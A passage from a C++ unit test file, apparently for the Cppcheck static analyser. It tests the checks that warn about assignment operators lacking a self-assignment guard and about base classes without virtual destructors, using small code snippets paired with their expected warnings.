strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a == this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a == this) == true)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a == this) != false)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (!((&a == this) == false))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a != this) == false)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" free(s);\\n\"\n \" else\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n\n // this test needs an assignment test but doesn’t have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // ticket #1224\n checkOpertorEqToSelf(\n \"const SubTree &SubTree::operator= (const SubTree &b)\\n\"\n \"{\\n\"\n \" CodeTree *oldtree = tree;\\n\"\n \" tree = new CodeTree(*b.tree);\\n\"\n \" delete oldtree;\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"const SubTree &SubTree::operator= (const CodeTree &b)\\n\"\n \"{\\n\"\n \" CodeTree *oldtree = tree;\\n\"\n \" tree = new CodeTree(b);\\n\"\n \" delete oldtree;\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void operatorEqToSelf2() {\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { if (&b != this) { } return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char *s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" if (&b != this)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char *s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:13]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { if (&b != this) { } return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" if (&b != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\");\n ASSERT_EQUALS(\"[test.cpp:11:14]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n }\n\n void operatorEqToSelf3() {\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf4() {\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf5() {\n // ticket # 1233\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if((&a!=this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if((this!=&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(!(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(!(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(false==(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(false==(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(true!=(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(true!=(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if((&a!=this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if((this!=&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(!(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(!(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(false==(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(false==(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(true!=(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(true!=(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"struct A {\\n\"\n \" char *s;\\n\"\n \" A& operator=(const B &b);\\n\"\n \"};\\n\"\n \"A& A::operator=(const B &b) {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf6() {\n // ticket # 1550\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" delete [] data;\\n\"\n \" data = new char[strlen(a.data) + 1];\\n\"\n \" strcpy(data, a.data);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" delete [] data;\\n\"\n \" data = new char[strlen(a.data) + 1];\\n\"\n \" strcpy(data, a.data);\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" delete data;\\n\"\n \" data = new char;\\n\"\n \" *data = *a.data;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" delete data;\\n\"\n \" data = new char;\\n\"\n \" *data = *a.data;\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n }\n\n void operatorEqToSelf7() {\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & assign(const A & a)\\n\"\n \" {\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" return assign(a);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf8() {\n checkOpertorEqToSelf(\n \"class FMat\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" FMat& copy(const FMat& rhs);\\n\"\n \" FMat& operator=(const FMat& in);\\n\"\n \"};\\n\"\n \"FMat& FMat::copy(const FMat& rhs)\\n\"\n \"{\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"FMat& FMat::operator=(const FMat& in)\\n\"\n \"{\\n\"\n \" return copy(in);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf9() {\n checkOpertorEqToSelf(\n \"class Foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Foo& operator=(Foo* pOther);\\n\"\n \" Foo& operator=(Foo& other);\\n\"\n \"};\\n\"\n \"Foo& Foo::operator=(Foo* pOther)\\n\"\n \"{\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"Foo& Foo::operator=(Foo& other)\\n\"\n \"{\\n\"\n \" return Foo::operator=(&other);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n struct CheckVirtualDestructorOptions\n {\n CheckVirtualDestructorOptions() = default;\n bool inconclusive = false;\n };\n\n // Check that base classes have virtual destructors\n#define checkVirtualDestructor(...) checkVirtualDestructor_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkVirtualDestructor_(const char* file, int line, const char (&code)[size], const CheckVirtualDestructorOptions& options = make_default_obj()) {\n const Settings s = settingsBuilder(settings0).certainty(Certainty::inconclusive, options.inconclusive).severity(Severity::warning).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(s, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &s, this);\n checkClass.virtualDestructor();\n }\n\n void virtualDestructor1() {\n // Base class not found\n\n checkVirtualDestructor(\"class Derived : public Base { };\\n\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class Derived : Base { };\\n\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructor2() {\n // Base class doesn't have a destructor\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : protected Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : private Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9104\n checkVirtualDestructor(\"struct A\\n\"\n \"{\\n\"\n \" A() { cout << \\\"A is constructing\\\\n\\\"; }\\n\"\n \" ~A() { cout << \\\"A is destructing\\\\n\\\"; }\\n\"\n \"};\\n\"\n \" \\n\"\n \"struct Base {};\\n\"\n \" \\n\"\n \"struct Derived : Base\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \" \\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" Base* p = new Derived();\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"using namespace std;\\n\"\n \"struct A\\n\"\n \"{\\n\"\n \" A() { cout << \\\"A is constructing\\\\n\\\"; }\\n\"\n \" ~A() { cout << \\\"A is destructing\\\\n\\\"; }\\n\"\n \"};\\n\"\n \" \\n\"\n \"struct Base {};\\n\"\n \" \\n\"\n \"struct Derived : Base\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \" \\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" Base* p = new Derived();\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor3() {\n // Base class has a destructor, but it's not virtual\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : protected Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : private Fred, public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor4() {\n // Derived class doesn't have a destructor => undefined behaviour according to paragraph 3 in [expr.delete]\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : private Fred, public Base { };\"\n \"Base *base = new 